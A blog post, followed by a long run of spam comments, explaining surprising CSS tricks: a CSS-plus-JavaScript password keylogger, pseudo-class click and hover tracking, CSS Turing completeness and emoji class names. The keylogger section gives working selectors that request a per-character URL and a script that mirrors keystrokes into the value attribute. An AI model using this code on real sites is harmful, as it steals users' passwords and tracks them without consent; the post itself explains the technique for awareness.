Time for #DevDiscuss!

Tonight’s topic: CSS can do that?

Let’s start with some questions:

– What is a CSS feature not everybody knows about?

– What has changed about CSS capabilities in the past few years?

– How do you approach browser support issues and fallbacks? pic.twitter.com/eg9THMsVnT

— DEV Community ?‍??‍? (@ThePracticalDev) August 14, 2019

Inspired by today’s #DevDiscuss I commented with my favourite misdeeds in CSS.

Did you know you can do user tracking of clicks/mouse movements/etc. only with CSS?

How about creating a keylogger?

Yep, all that’s possible with CSS #DevDiscuss https://t.co/vIzJdSHNp7

— Aaron Powell (@slace) August 14, 2019

So let’s have a look at how they work.

CSS Keylogger

This has been around for a while now that you can use CSS to create a keylogger, but as is rightly pointed out in this post it’s not “really” just CSS, it does rely on some JavaScript. So let’s dissect how it works.

We have our selector like so:

input[type="password"][value$="a"] {
    background-image: url("http://localhost:3000/a");
}

Assume it’s repeated for every character you want to log.

The important part of the selector is the substring match on value, this part: [value$="a"]. This is an attribute selector, specifically a substring selector that was added as part of CSS 3 and what it’s doing is saying is that it’ll match when the value attribute of the DOM element ends with a (you can use ^ for begins with if you wanted).

So we’re matching when the value attribute contains that but if you were to look into the DOM of a form on a page you’ll notice something, the value attribute isn’t set. Here, take a look at this:

If you open up the dev tools in your browser you’ll notice that when you type in the input the attribute doesn’t change, it’s always set to Test here. But if you were to use JavaScript to inspect the value, document.getElementById('demo-01').value it’ll have what you entered. This is because the attribute represents the default value of the , not the current value, that’s something that might get computed, depending on the type of input you have.

What does it mean for us creating a keylogger in CSS? Well, the simple fact is that you can’t create one purely with CSS but you can create one with CSS and a bit of JavaScript because we’re going to need to update the value attribute along the way.

This is quite easy to do, you just need some JavaScript like this:

let inputs = document.getElementsByTagName("input");

for (let i = 0; i < inputs.length; i  ) {
    let input = inputs[i];

    input.addEventListener("keypress", e => {
        e.preventDefault();
        let char = String.fromCharCode(e.keyCode);
        let newValue = input.value   char;
        input.setAttribute("value", newValue);
        input.setSelectionRange(newValue.length, newValue.length);
    });
}

What this does is it “pretends” that you’re doing your keypress appropriately by catching it early and then pushing the character you intended to enter onto the value attribute, making it look like you were typing normally. We then use the setSelectionRange method on the input to position the caret to the end of the input so you are none the wiser. A demo can be found here of this in action.

But if you’re able to run JavaScript to bypass how the DOM works, why bother with CSS anyway? The problem isn’t so much the code you write but more the code you might leverage, in particular, UI frameworks.

For example, React synchronises the value attribute with state if you’re using a controlled form, which is something that this issue tracks. So if you’re on a website that is using React then that website is vulnerable to this kind of an attack, whether it’s through an extension in your browser or some dodgy ad running on the site.

Yes, you require JavaScript to properly implement a “CSS keylogger”, but that doesn’t mean that you have to write the JavaScript.

I just want to quickly touch on some points the author makes in this post. They state that it’s not really a big deal because the background-image is only done for the first match so repeated characters won’t pick up (e.g. a password of password will miss a s), and that is true (the value didn’t change the last character at pass so the selector wasn’t triggered) but the data capture will include timestamps and if you take a level of variance between the timestamp of events you can extrapolate your own gaps (if it took 0.1ms between captures and then there was an 0.5, maybe some characters were duplicated). The same goes for the observation that the order-of-receive isn’t guaranteed. That’s true, the server may receive them out of order, but when you have all (or 90 %) characters of a password the ability to brute force goes down drastically.

User Tracking with CSS

This is not quite as scary as a keylogger but it does borrow the same underlying principle as the keylogger.

For this we’re going to exploit CSS Pseudo-Classes, which allow us to hook into a number of events of DOM elements.

Here’s the CSS that I applied to those elements:

#demo-02 p:hover {
    background-color: #f0a;
}

#demo-02 input:focus {
    background-color: #bada55;
}

#demo-02 button:active {
    color: #ff0000;
}

I’m just using pseudo-classes like :hover, :focus and :active to know when you’ve done something and then change some colours, but again I could be setting the background-image to a tracking URL.

How could this be made useful? Well, think of it like implementing Google Analytics, you could do something like attach a :hover state to the body element so you know when the page is appearing for the user and then more hover states on all the child elements; as the user moves around the page you’re capturing the rough position of their cursor and knowing what they are spending their time on. If there’s a form you can work out how long they spent on each field, how they navigate forwards and backwards through a multi-step form, or if they change answers on radio buttons/checkboxes.

Like the keylogger it isn’t as straight forward as it might seem, you would have to have a decent idea of the structure of the DOM to be able to create a really fine-grade tracker (or use JavaScript), but if you’re using it for your own analytics it’s very achievable.

CSS is Turing Complete

Ok, CSS HTML if you want to be pedantic but it’s true, it is possible to implement Rule 110 with just CSS and HTML:

Credit to eliheeli on GitHub for the working example of it.

This works by abusing Pesudo-classes like our tracker and combining those with the Adjacent sibling combinator. The adjacent sibing combinator, or for short, works like this:

I’m a paragraph.

I’m an adjacent paragraph

#demo-03 p {
    color: #00bb00;
}

#demo-03 p   p {
    font-family: "Comic Sans MS", sans serif;
    font-style: italic;
}

Here we’re applying a rule to all p elements, but then we’re using the adjacent sibling selector to apply a rule to the 2nd p only (in this case, turning on a different font family and style). By applying conditions on the first half of the selector, such as a pesudo-class, the cascade of the rules can be greatly limited.

Emoji Class Names

Who doesn’t love themselves a liberal usage of Emoji’s throughout their work? Well did you know that you can use Emoji as the class names in CSS? According to the spec they are technically valid, meaning you can do this:

Hello!

#demo-04 .? {
    font-family: "Comic Sans MS";
    text-decoration: #f0a underline overline wavy;
    text-shadow: 2px 2px #bada55;
    transform: rotate(45deg);
    display: inline-block;
}

In reality you probably shouldn’t do this, but hey, you could shave a few bytes over the wire for the sake of a few users not being able to access your site (or dev on your codebase)!

Conclusion

What started from a throw-away tweet became the catalyst for writing a post I’ve been meaning to do for a few years now! ?

I hope you’ve enjoyed a look at a few things you can do with CSS, but maybe shouldn’t.

What are your favourite ways to exploit CSS?


Published: 2019-08-14 16:34:43 1000 1000, Version: 2dd41e4

324 comments

  1. I pay a quick visit day-to-day some websites and blogs to read content, but this weblog offers quality based articles.

  2. Hi there, just became aware of your blog through Google, and found that it is
    really informative. I am going to watch out for brussels.
    I’ll appreciate if you continue this in future. Many people will be benefited from your writing.
    Cheers!

  3. After looking at a handful of the articles on your blog, I honestly like your way of blogging.
    I saved as a favorite it to my bookmark webpage list and
    will be checking back in the near future. Please check out my website
    as well and let me know your opinion.

  4. We are a gaggle of volunteers and opening a new scheme in our community.

    Your website provided us with valuable information to work on. You’ve done a formidable process and our whole
    group will be grateful to you.

  5. I’m gone to convey my little brother, that he should also go to see this web site on regular
    basis to get updated from most up-to-date information.

  6. It is appropriate time to make some plans for the future and it is time to be
    happy. I’ve read this post and if I could I desire to suggest you some interesting things or suggestions.
    Perhaps you can write next articles referring to this article.
    I wish to read more things about it!

  7. I savor, cause I discovered just what I was looking for.

    You have ended my four day long hunt! God Bless you man. Have a great day.
    Bye

  8. Excellent blog right here! Additionally your website loads up fast!

    What web host are you the usage of? Can I get your associate link for your host?
    I want my web site loaded up as quickly as yours lol

  9. I always used to read paragraph in news papers
    but now as I am a user of internet therefore from now I
    am using net for articles, thanks to web.

  10. Hey! I could have sworn I’ve been to this site
    before but after browsing through some of the post I realized it’s new
    to me. Anyways, I’m definitely happy I found it and I’ll be book-marking and checking back
    often!

  11. Thanks a lot for sharing this with all of us you really understand what
    you’re talking about! Bookmarked. Kindly additionally talk
    over with my web site =). We could have a link exchange contract between us

  12. We’re a group of volunteers and opening a brand new scheme in our community.
    Your site offered us with valuable info to work on. You have performed a formidable job and our entire community will be thankful to you.

  13. Great web site you have here.. It’s difficult to find quality writing like yours nowadays.
    I seriously appreciate people like you! Take care!!

  14. It is actually a great and helpful piece of info. I’m happy that you simply shared this useful
    information with us. Please stay us informed like this.
    Thank you for sharing.

  15. Have you ever thought about including a little bit more than just your articles?
    I mean, what you say is important and all. However think about if you
    added some great graphics or video clips to give your posts more,
    “pop”! Your content is excellent but with pics and videos, this website could certainly be one of the very best in its field.
    Amazing blog!

  16. For hottest news you have to pay a visit the web and on internet
    I found this website as a finest web site for hottest updates.

  17. If you are going for finest contents like I do, just
    go to see this web page all the time because it gives quality contents,
    thanks

  18. Have you ever considered writing an e-book or guest
    authoring on other blogs? I have a blog based on the same information you discuss and would love
    to have you share some stories/information. I know my audience would value your work.
    If you are even remotely interested, feel free to send me
    an email.

  19. Unquestionably believe that which you said. Your favorite reason appeared to be on the
    web the easiest thing to be aware of. I say to you, I definitely get
    annoyed while people consider worries that they just don’t know about.
    You managed to hit the nail upon the top and defined
    out the whole thing without having side effect , people could take a signal.

    Will probably be back to get more. Thanks

  20. Just desire to say your article is as amazing. The clarity in your post is simply great and i could
    assume you are an expert on this subject. Well with your
    permission allow me to grab your RSS feed to keep updated with forthcoming post.
    Thanks a million and please keep up the rewarding work.

  21. Heya! I understand this is kind of off-topic however I needed to ask.
    Does managing a well-established blog like yours take a lot of work?
    I’m brand new to blogging however I do write in my journal everyday.
    I’d like to start a blog so I will be able to share my experience and thoughts online.
    Please let me know if you have any kind of suggestions or tips for new aspiring bloggers.
    Appreciate it!

  22. After looking at a few of the blog posts on your site, I honestly appreciate
    your way of writing a blog. I book marked it to my bookmark website list and will be checking back soon. Please check out my website
    too and let me know what you think.

  23. If you are going for finest contents like myself, simply pay a quick visit this
    web site all the time because it presents feature contents, thanks

  24. Hey there I am so grateful I found your web site, I really
    found you by mistake, while I was looking on Aol for something else,
    Nonetheless I am here now and would just like to say cheers for a
    remarkable post and a all round entertaining blog (I also love the theme/design), I don’t have time to read through it all
    at the minute but I have book-marked it and also added in your RSS feeds, so when I have time
    I will be back to read much more, Please do keep up
    the fantastic jo.

  25. This is really interesting, You are a very skilled blogger.

    I have joined your feed and sit up for in search
    of more of your wonderful post. Also, I have shared your web site in my social networks

  26. Hi! Someone in my Myspace group shared this site with us so I came
    to take a look. I’m definitely loving the information. I’m
    book-marking and will be tweeting this to my followers!
    Superb blog and terrific design and style.

  27. Thank you for sharing your info. I really appreciate your efforts and I
    am waiting for your further write ups thank you once again.

  28. I seriously love your blog.. Pleasant colors & theme. Did you create this website
    yourself? Please reply back as I’m trying to create my
    own personal website and would love to know where you got
    this from or just what the theme is called. Cheers!

  29. I was recommended this web site via my cousin. I’m now not
    certain whether or not this publish is written by way of
    him as nobody else recognise such particular approximately my
    trouble. You are incredible! Thanks!

  30. I needed to thank you for this wonderful read!! I absolutely loved every little bit of it.
    I have you book-marked to check out new stuff you post…

  31. Definitely imagine that that you stated. Your favourite justification seemed to be at
    the internet the easiest thing to bear in mind of.
    I say to you, I definitely get annoyed at the same time as other folks consider
    issues that they plainly don’t recognise about.
    You controlled to hit the nail upon the highest as neatly as outlined out the whole thing with no need side
    effect , other people can take a signal. Will likely be again to get more.
    Thanks

  32. I don’t even know how I stopped up right here, but I
    believed this submit was great. I don’t understand who you might be but definitely you’re going to
    a well-known blogger if you aren’t already.
    Cheers!

  33. Superb post but I was wondering if you could write a litte more on this topic?
    I’d be very thankful if you could elaborate a little bit more.
    Bless you!

  34. Hi, Neat post. There is an issue with your site in web explorer, may check this?
    IE nonetheless is the marketplace leader and a big element of
    folks will omit your fantastic writing due to this problem.

  35. Fantastic goods from you, man. I have keep in mind your
    stuff previous to and you are simply extremely great.
    I really like what you’ve obtained right
    here, really like what you are stating and the way in which in which you
    say it. You are making it enjoyable and you continue to care for to keep it sensible.
    I cant wait to learn much more from you. That is actually a terrific
    site.

  36. Hello There. I found your blog using msn. This is a very well written article.

    I’ll be sure to bookmark it and return to read more of your useful information. Thanks for the post.
    I’ll definitely comeback.

  37. Hello this is somewhat of off topic but I was wondering if
    blogs use WYSIWYG editors or if you have to manually code with HTML.
    I’m starting a blog soon but have no coding know-how
    so I wanted to get advice from someone with experience.
    Any help would be greatly appreciated!

  38. I do agree with all the ideas you have introduced to your post.
    They’re really convincing and can definitely work.

    Still, the posts are very quick for starters.
    May just you please prolong them a little from next time?
    Thanks for the post.

  39. Hi there! I know this is sort of off-topic but I needed to ask.
    Does running a well-established blog such as yours take a
    lot of work? I am completely new to blogging
    but I do write in my journal daily. I’d like to start a blog so I can easily share my experience and thoughts online.
    Please let me know if you have any recommendations
    or tips for brand new aspiring bloggers. Appreciate it!

  40. Appreciating the hard work you put into your blog and detailed information you present.
    It’s good to come across a blog every once in a while that isn’t the same
    outdated rehashed material. Fantastic read! I’ve
    bookmarked your site and I’m adding your RSS feeds to my Google account.

  41. Every weekend i used to go to see this site, as i wish for enjoyment, since this this
    web site conations truly good funny data too.

  42. I like the valuable information you provide on your articles.
    I’ll bookmark your blog and check again right here regularly.
    I am slightly sure I will be told plenty of new stuff proper right here!
    Good luck for the following!

  43. Everything posted made a ton of sense. But, consider this, what if
    you were to write a killer title? I ain’t suggesting your information isn’t solid, however what if you added a post title to maybe
    get a person’s attention? I mean CSS Can Do This… And It’s Terrifying!
    – Pavvy Designs is a little boring. You might look at Yahoo’s home page and note how they create news
    titles to get people interested. You might try adding a video or a pic or two to
    grab people excited about everything’ve written. Just my opinion,
    it would make your posts a little livelier.

  44. Howdy! This article could not be written much better!

    Reading through this article reminds me of my previous roommate!
    He continually kept talking about this. I most certainly will send this article to him.
    Fairly certain he will have a good read. Thank you for sharing!

  45. Hi there very nice blog!! Man .. Excellent .. Amazing ..
    I’ll bookmark your web site and take the feeds additionally?
    I’m glad to seek out a lot of helpful information right here within the post,
    we’d like work out extra strategies in this regard, thanks for sharing.
    . . . . .

  46. Greetings from Florida! I’m bored at work so I decided to browse your site
    on my iphone during lunch break. I really like the knowledge you present here and can’t wait to take
    a look when I get home. I’m shocked at how quick your blog loaded
    on my phone .. I’m not even using WIFI, just 3G ..
    Anyways, great blog!

  47. Hi there! Quick question that’s entirely off topic.
    Do you know how to make your site mobile friendly?
    My website looks weird when viewing from my iphone4. I’m trying to find a
    theme or plugin that might be able to fix this problem.
    If you have any suggestions, please share. Thanks!

  48. Hi there! Someone in my Myspace group shared this website with us so I came to give it a look.
    I’m definitely enjoying the information. I’m
    bookmarking and will be tweeting this to my followers! Wonderful blog and fantastic
    design.

  49. Hi this is kinda of off topic but I was wondering if blogs use WYSIWYG editors or if you
    have to manually code with HTML. I’m starting a blog soon but have no coding expertise so I wanted
    to get guidance from someone with experience.
    Any help would be enormously appreciated!

  50. I loved as much as you’ll receive carried out right here.
    The sketch is attractive, your authored material
    stylish. nonetheless, you command get got an shakiness over that you wish be delivering the following.
    unwell unquestionably come further formerly again since exactly the same nearly very often inside case you shield this increase.

  51. My programmer is trying to convince me to move to .net from PHP.
    I have always disliked the idea because of the costs.
    But he’s tryiong none the less. I’ve been using Movable-type on several websites for about a
    year and am worried about switching to another platform.
    I have heard great things about blogengine.net. Is there
    a way I can transfer all my wordpress posts into it? Any help would
    be greatly appreciated!

  52. It’s really very difficult in this active life to listen news on Television,
    thus I simply use web for that reason, and obtain the hottest news.

  53. Hi, I think your website might be having browser
    compatibility issues. When I look at your website in Opera, it looks fine but when opening in Internet Explorer, it has
    some overlapping. I just wanted to give you a quick heads up!
    Other then that, very good blog!

  54. A person necessarily lend a hand to make severely articles I would state.
    This is the very first time I frequented your web page and so
    far? I amazed with the analysis you made to create this
    particular submit extraordinary. Excellent process!

  55. Hello I am so thrilled I found your website, I really found you by mistake, while I was searching on Digg
    for something else, Regardless I am here now and would
    just like to say thanks for a fantastic post and a all
    round exciting blog (I also love the theme/design),
    I don’t have time to go through it all at the moment but I
    have book-marked it and also added in your RSS feeds, so when I have time I will be back
    to read more, Please do keep up the excellent jo.

  56. I believe what you composed was actually very reasonable.
    But, what about this? suppose you composed a catchier title?
    I ain’t suggesting your content is not solid., however suppose you
    added a headline that makes people want more?
    I mean CSS Can Do This… And It’s Terrifying!
    – Pavvy Designs is a little vanilla. You should peek at Yahoo’s home page and watch how they create article
    titles to grab people to open the links. You might try adding a video or a pic or two
    to grab readers interested about what you’ve got to say.
    Just my opinion, it would bring your website a little bit more interesting.

  57. When I originally commented I seem to have clicked the
    -Notify me when new comments are added- checkbox and now
    every time a comment is added I get four emails with the exact same comment.
    There has to be a way you are able to remove me from that service?
    Many thanks!

  58. First of all I would like to say great blog! I had a quick question which I’d like to ask if you do not mind.
    I was curious to know how you center yourself and clear your thoughts before writing.
    I have had trouble clearing my thoughts in getting my ideas out there.
    I do enjoy writing but it just seems like the first 10 to
    15 minutes are wasted simply just trying to figure out how to begin. Any recommendations or hints?
    Appreciate it!

  59. Your style is very unique compared to other people I have read stuff from.
    Many thanks for posting when you’ve got the opportunity, Guess I’ll just book mark this site.

  60. What’s Happening i’m new to this, I stumbled upon this I have
    discovered It positively helpful and it has helped me out loads.
    I hope to give a contribution & aid other customers like
    its helped me. Great job.

  61. I’ve read a few just right stuff here. Certainly worth bookmarking for revisiting.
    I wonder how much attempt you put to create the sort of magnificent informative website.

  62. First of all I would like to say excellent blog!
    I had a quick question that I’d like to ask if you don’t mind.
    I was curious to know how you center yourself and clear your mind
    before writing. I have had difficulty clearing
    my mind in getting my ideas out. I do take pleasure in writing however it
    just seems like the first 10 to 15 minutes are usually
    wasted simply just trying to figure out
    how to begin. Any suggestions or hints? Appreciate it!

  63. Great website you have here but I was wondering if
    you knew of any discussion boards that cover the
    same topics discussed here? I’d really like to be a
    part of community where I can get advice from other knowledgeable individuals that share the same interest.
    If you have any recommendations, please let me know. Kudos!

  64. Woah! I’m really digging the template/theme of this blog.
    It’s simple, yet effective. A lot of times it’s challenging to
    get that “perfect balance” between superb usability and visual appearance.
    I must say you’ve done a excellent job with this.
    Also, the blog loads very quick for me on Opera.

    Outstanding Blog!

  65. Hi it’s me, I am also visiting this web page on a regular basis,
    this website is in fact nice and the people are genuinely sharing nice thoughts.

  66. Heya! I just wanted to ask if you ever have any trouble
    with hackers? My last blog (wordpress) was hacked and I ended up losing many months of hard work due to no backup.
    Do you have any solutions to prevent hackers?

  67. Hmm is anyone else experiencing problems with the pictures on this blog loading?

    I’m trying to figure out if its a problem on my
    end or if it’s the blog. Any suggestions would be greatly appreciated.

  68. Everything is very open with a precise clarification of the challenges.

    It was definitely informative. Your website is useful.
    Thanks for sharing!

  69. Wonderful beat ! I wish to apprentice at the same time as you amend your site, how
    could i subscribe for a blog web site? The account aided me a acceptable deal.
    I were tiny bit acquainted of this your broadcast provided vivid clear idea

  70. If some one wishes expert view concerning blogging after that i propose him/her
    to pay a quick visit this website, Keep up the pleasant
    job.

  71. Ahaa, its good discussion on the topic of
    this piece of writing here at this web site, I have read all that, so
    at this time me also commenting at this place.

  72. Spot on with this write-up, I really think this web site needs far more attention.
    I’ll probably be back again to read through more, thanks for the advice!

  73. This is really interesting, You are an overly skilled blogger.
    I have joined your rss feed and stay up for looking for extra of your magnificent
    post. Additionally, I have shared your site in my social networks

  74. Hello there, I do think your website could be having internet browser
    compatibility issues. Whenever I look at your blog in Safari, it looks fine however, when opening in I.E., it’s
    got some overlapping issues. I simply wanted to provide you with a quick heads up!

    Apart from that, great site!

  75. You really make it seem so easy with your presentation however I find this matter to be actually something that I feel I
    might never understand. It sort of feels too complex
    and extremely extensive for me. I’m taking a look ahead to your subsequent post, I will try to
    get the hold of it!

  76. I have been browsing on-line greater than three hours these days,
    yet I by no means found any attention-grabbing article like
    yours. It is lovely price sufficient for me.
    Personally, if all site owners and bloggers made just right content as
    you did, the internet will probably be a lot more useful than ever before.

  77. excellent put up, very informative. I ponder why the
    other experts of this sector do not notice this. You should proceed your writing.
    I am confident, you’ve a huge readers’ base already!

  78. Hi there! I understand this is kind of off-topic however I had to ask.
    Does operating a well-established blog such as
    yours require a lot of work? I’m completely new to
    operating a blog but I do write in my diary on a daily basis.
    I’d like to start a blog so I will be able to share my own experience and feelings online.
    Please let me know if you have any kind of ideas or tips for new aspiring bloggers.
    Thankyou!

  79. Can I simply just say what a comfort to find someone
    who really knows what they are discussing over the
    internet. You certainly know how to bring a problem to light and make
    it important. A lot more people must check this out and
    understand this side of your story. I was surprised that you are not more popular because you certainly have the gift.

  80. Hmm it appears like your site ate my first
    comment (it was extremely long) so I guess I’ll just sum it up what I had written and say, I’m thoroughly
    enjoying your blog. I as well am an aspiring blog writer
    but I’m still new to the whole thing. Do you have any tips and
    hints for inexperienced blog writers? I’d genuinely appreciate
    it.

  81. It’s a pity you don’t have a donate button! I’d most certainly donate to this excellent blog!
    I guess for now i’ll settle for book-marking and adding your RSS feed to my Google account.
    I look forward to brand new updates and will talk about this website with my Facebook group.
    Chat soon!

  82. Hi, I do think your site could possibly be having
    browser compatibility issues. Whenever I take a look at your website in Safari, it looks fine however, when opening in IE, it has some overlapping issues.
    I merely wanted to give you a quick heads up! Other than that,
    excellent site!

  83. Hi there, its fastidious post about media print, we all be familiar with media is a wonderful source of
    facts.

  84. What i do not realize is in truth how you’re no longer really much more well-appreciated than you might be now.

    You’re so intelligent. You already know thus considerably with regards to this topic, produced me personally imagine
    it from numerous various angles. Its like men and women aren’t
    involved except it is something to accomplish with Lady gaga!

    Your individual stuffs excellent. At all times take care of it up!

  85. For hottest information you have to pay a quick visit
    world wide web and on internet I found this web site as a most excellent web page for newest updates.

  86. Hey I know this is off topic but I was wondering if
    you knew of any widgets I could add to my blog that automatically tweet my newest twitter updates.
    I’ve been looking for a plug-in like this for quite some time
    and was hoping maybe you would have some experience with something like this.
    Please let me know if you run into anything. I truly enjoy
    reading your blog and I look forward to your new updates.

  87. Please let me know if you’re looking for a article writer
    for your site. You have some really good articles and I feel I would be a good asset.
    If you ever want to take some of the load off, I’d really
    like to write some articles for your blog in exchange for a link back to
    mine. Please shoot me an email if interested. Cheers!

  88. Hi, I do believe this is an excellent blog.

    I stumbledupon it 😉 I am going to return once again since I book-marked it.
    Money and freedom is the best way to change, may you be rich and continue to help others.

  89. It’s a pity you don’t have a donate button! I’d without a doubt donate
    to this brilliant blog! I guess for now i’ll settle for bookmarking and adding
    your RSS feed to my Google account. I look forward to fresh updates and will talk about this
    website with my Facebook group. Talk soon!

  90. Hi there! This article could not be written much better!

    Looking at this post reminds me of my previous roommate!
    He constantly kept preaching about this. I am going to send this article to him.
    Pretty sure he’s going to have a great read. Thank you for sharing!

  91. My family members every time say that I am wasting my
    time here at web, but I know I am getting know-how every day by reading such pleasant articles or reviews.

  92. Thanks on your marvelous posting! I actually enjoyed reading it, you are a great author.I will ensure that I bookmark your blog and definitely will come back down the road.

    I want to encourage you to ultimately continue your great work, have a nice day!

  93. Magnificent beat ! I wish to apprentice while you amend your web site, how can i subscribe for a blog web
    site? The account helped me a acceptable deal.
    I had been tiny bit acquainted of this your broadcast provided
    bright clear concept

  94. Hi there would you mind letting me know which webhost you’re utilizing?
    I’ve loaded your blog in 3 different internet browsers and I must say this
    blog loads a lot faster then most. Can you suggest a good hosting provider at a reasonable price?

    Kudos, I appreciate it!

  95. Hello! Do you know if they make any plugins to help with Search Engine Optimization? I’m trying to get
    my blog to rank for some targeted keywords but I’m not seeing very good success.
    If you know of any please share. Appreciate it!

  96. We are a group of volunteers and starting a new scheme
    in our community. Your website provided us with valuable info to work on. You’ve done an impressive job and our whole community will be grateful to you.

  97. Hi, I think your blog might be having browser compatibility issues.
    When I look at your blog in Chrome, it looks fine but when opening in Internet Explorer, it has some
    overlapping. I just wanted to give you a quick heads up!
    Other then that, excellent blog!

  98. Hey there! I know this is kinda off topic however I’d figured I’d ask.
    Would you be interested in trading links or maybe guest writing a blog post
    or vice-versa? My blog covers a lot of the same topics as yours and I feel we could greatly benefit
    from each other. If you happen to be interested feel free to shoot me an e-mail.
    I look forward to hearing from you! Superb blog by the way!

  99. Hey! This is my first comment here so I just wanted to give a quick shout
    out and tell you I really enjoy reading through your blog posts.
    Can you suggest any other blogs/websites/forums that cover the same subjects?
    Appreciate it!

  100. It’s appropriate time to make some plans for the future and it
    is time to be happy. I’ve read this post and if I could I want to suggest
    you some interesting things or tips. Perhaps you could write next
    articles referring to this article. I want to read even more things about it!

  101. I absolutely love your website.. Excellent colors & theme.
    Did you develop this web site yourself? Please reply back as
    I’m trying to create my own website and would like to learn where you got this from
    or what the theme is named. Thank you!

  102. It’s the best time to make some plans for the future and
    it’s time to be happy. I’ve read this post and if I could I wish to suggest you some interesting things or suggestions.
    Maybe you could write next articles referring to this article.
    I desire to read more things about it!

  103. Hi there, every time i used to check webpage
    posts here in the early hours in the daylight,
    for the reason that i like to learn more and more.

  104. Great site you have here but I was wondering if you knew of any forums that cover the same topics discussed
    here? I’d really love to be a part of group where I
    can get feed-back from other knowledgeable
    people that share the same interest. If you have any
    suggestions, please let me know. Many thanks!

  105. Hi, I think your site might be having browser compatibility issues.
    When I look at your blog site in Ie, it looks fine but when opening
    in Internet Explorer, it has some overlapping. I just wanted to give you a quick
    heads up! Other then that, wonderful blog!

  106. I got this web site from my friend who told me about this site and at the moment this time I am browsing this web page and reading very informative articles
    at this time.

  107. Great post but I was wondering if you could write a
    litte more on this subject? I’d be very thankful if you could elaborate a little bit more.
    Kudos!

  108. My brother recommended I might like this website. He was totally right.

    This post truly made my day. You cann’t imagine just how much time I had
    spent for this info! Thanks!

  109. Thank you, I’ve recently been looking for info about this subject for a while and yours is the best I have came upon till
    now. But, what concerning the bottom line? Are you sure in regards to
    the source?

  110. I’ll right away grab your rss as I can not find your email subscription hyperlink or
    e-newsletter service. Do you have any? Kindly let me realize so that I
    could subscribe. Thanks.

  111. Greetings from Ohio! I’m bored to tears at work so I decided to check out your website on my iphone during lunch break.
    I really like the information you provide here and can’t wait to take a look when I get home.
    I’m shocked at how quick your blog loaded on my phone .. I’m not even using WIFI, just 3G ..

    Anyhow, superb site!

  112. Hello would you mind letting me know which webhost you’re utilizing?
    I’ve loaded your blog in 3 completely different web browsers and I must say this blog loads a lot quicker then most.
    Can you suggest a good web hosting provider
    at a reasonable price? Thanks a lot, I appreciate it!

  113. Hey There. I found your blog using msn. This is a very well written article.

    I will be sure to bookmark it and return to read more of your useful info.
    Thanks for the post. I’ll definitely comeback.

  114. It’s really a great and helpful piece of information. I’m satisfied that you
    simply shared this useful info with us. Please keep
    us up to date like this. Thanks for sharing.

  115. It’s actually a great and useful piece of information. I’m
    glad that you simply shared this helpful info with us.
    Please keep us informed like this. Thanks for sharing.

  116. Thanks for your marvelous posting! I quite enjoyed reading it, you may be a great author.

    I will make certain to bookmark your blog and will often come
    back down the road. I want to encourage you to continue your great job, have a nice afternoon!

  117. My coder is trying to persuade me to move to .net from PHP.
    I have always disliked the idea because of the expenses. But he’s tryiong
    none the less. I’ve been using WordPress on a number
    of websites for about a year and am concerned about switching to
    another platform. I have heard good things about blogengine.net.
    Is there a way I can transfer all my wordpress posts into it?
    Any help would be really appreciated!

  118. Pretty nice post. I just stumbled upon your blog and wanted to
    say that I’ve really enjoyed browsing your blog posts.

    In any case I’ll be subscribing to your feed and I hope you write again very
    soon!

  119. Hi there are using WordPress for your site platform? I’m new to the blog
    world but I’m trying to get started and create my own. Do you require
    any html coding knowledge to make your own blog? Any help would be
    greatly appreciated!

  120. Hey there just wanted to give you a brief heads up and let you
    know a few of the pictures aren’t loading correctly. I’m not
    sure why but I think its a linking issue. I’ve tried it in two different browsers and both show
    the same results.

  121. Hi there! I could have sworn I’ve been to this website before but after checking through some of the post I realized it’s
    new to me. Anyhow, I’m definitely glad I found it and I’ll be bookmarking and checking back frequently!

  122. I like the valuable information you provide in your articles.
    I will bookmark your weblog and check again here regularly.
    I am quite sure I’ll learn a lot of new stuff right here!

    Good luck for the next!

  123. Howdy! This post could not be written any better!
    Reading this post reminds me of my old room mate! He always kept talking about this.
    I will forward this article to him. Pretty sure he will have a good read.
    Thank you for sharing!

  124. My programmer is trying to convince me to move to .net from PHP.
    I have always disliked the idea because of the costs.
    But he’s tryiong none the less. I’ve been using Movable-type
    on a number of websites for about a year and
    am anxious about switching to another platform. I have heard very good things about blogengine.net.

    Is there a way I can import all my wordpress posts into it?
    Any kind of help would be greatly appreciated!

  125. Pretty nice post. I just stumbled upon your weblog and
    wished to say that I have really enjoyed surfing around your blog posts.
    In any case I’ll be subscribing to your rss feed and I hope you write again soon!

  126. Nice post. I learn something new and challenging on websites
    I stumbleupon every day. It’s always useful to read through content from other writers and practice something from their web sites.

  127. Great site you have here but I was wanting to know if you knew of any discussion boards that cover
    the same topics talked about in this article? I’d really like to be a
    part of online community where I can get feedback from other knowledgeable people that share
    the same interest. If you have any recommendations, please
    let me know. Thanks!

  128. Hi there! I’m at work browsing your blog from my new iphone 4!

    Just wanted to say I love reading through your blog and look forward to all your posts!
    Keep up the excellent work!

  129. Link exchange is nothing else except it is just placing the other person’s webpage link on your page at
    suitable place and other person will also do similar for you.

  130. This is very interesting, You’re a very skilled blogger.

    I’ve joined your rss feed and look forward to seeking more of your magnificent post.

    Also, I have shared your web site in my social networks!

  131. Every weekend i used to pay a visit this web site, for the reason that i want enjoyment,
    for the reason that this this site conations really good funny information too.

  132. Hello there, There’s no doubt that your web site could be having internet browser
    compatibility problems. Whenever I take a look at your website in Safari, it
    looks fine but when opening in I.E., it’s got some overlapping issues.
    I simply wanted to provide you with a quick heads up!
    Aside from that, wonderful site!

  133. Good day! This is my first visit to your blog!

    We are a collection of volunteers and starting a new initiative
    in a community in the same niche. Your blog provided us
    beneficial information to work on. You have done a outstanding
    job!

  134. Hello! Quick question that’s completely off topic. Do you know
    how to make your site mobile friendly? My web site looks weird when viewing
    from my iphone. I’m trying to find a theme or plugin that might be able to fix this problem.
    If you have any suggestions, please share. Appreciate it!

  135. Have you ever thought about including a little bit more than just your
    articles? I mean, what you say is important and everything.

    Nevertheless think of if you added some great visuals or videos to give your posts more, “pop”!

    Your content is excellent but with images and clips, this blog could certainly be one of the best in its
    niche. Terrific blog!

  136. Excellent post. Keep writing such kind of information on your
    page. Im really impressed by it.
    Hey there, You have performed an excellent job. I will definitely digg it and personally
    suggest to my friends. I’m sure they will be benefited from this website.

  137. Hi my friend! I wish to say that this article is amazing, nice written and include
    approximately all vital infos. I would like to peer
    more posts like this .

  138. Hi there, of course this paragraph is genuinely good and I have learned lot of things from it on the topic of blogging.

    thanks.

  139. I’m impressed, I have to admit. Seldom do I encounter a blog that’s both educative and engaging,
    and without a doubt, you’ve hit the nail on the head.
    The issue is something which not enough men and women are
    speaking intelligently about. I’m very happy that I stumbled across this during my
